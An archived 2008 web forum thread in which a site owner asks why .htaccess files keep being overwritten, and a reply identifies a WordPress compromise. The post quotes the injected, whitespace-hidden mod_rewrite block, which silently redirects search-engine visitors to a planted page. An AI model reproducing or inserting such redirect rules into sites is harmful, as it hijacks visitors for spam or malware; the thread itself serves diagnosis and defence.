PDA

View Full Version : .htaccess files getting overwritten


minyanmaps
02-19-2008, 10:58 AM
I have two .htaccess files in two different directories on my site, and periodically, they seem to get overwritten, always in the same way...an extra 100 lines are placed after line 3 and then indented 150 columns in appears the following:

# a0b4df006e02184c60dbf503e71c87ad
RewriteEngine On RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearc h|yandex|rambler|aport|mail|gogo|poisk|alltheweb|f ireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|cl ix|terravista|gratis-ting|suomi24)\. [NC] RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keyword s|search_string|search_word|buscar|text|words|su|q t|rdata)\=
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keyword s|search_string|search_word|buscar|text|words|su|q t|rdata)\=[^&]+(%3A|%22)
RewriteCond %{TIME_SEC} <59
RewriteRule ^.*$ /halacha/wp-includes/js/tinymce/plugins/paste/izikid/ex3/t.htm [L]
# a995d2cc661fa72452472e9554b5520c

followed by another 100 blank lines and then the rest of the file.
This has been happening frequently enough to freak me out.

Basil
02-19-2008, 05:49 PM
Yeah, it looks like you've been hacked.

That redirects basically any hits from a search engine to this "t.htm" file.

What version of wordpress are you running, and what plugins do you have?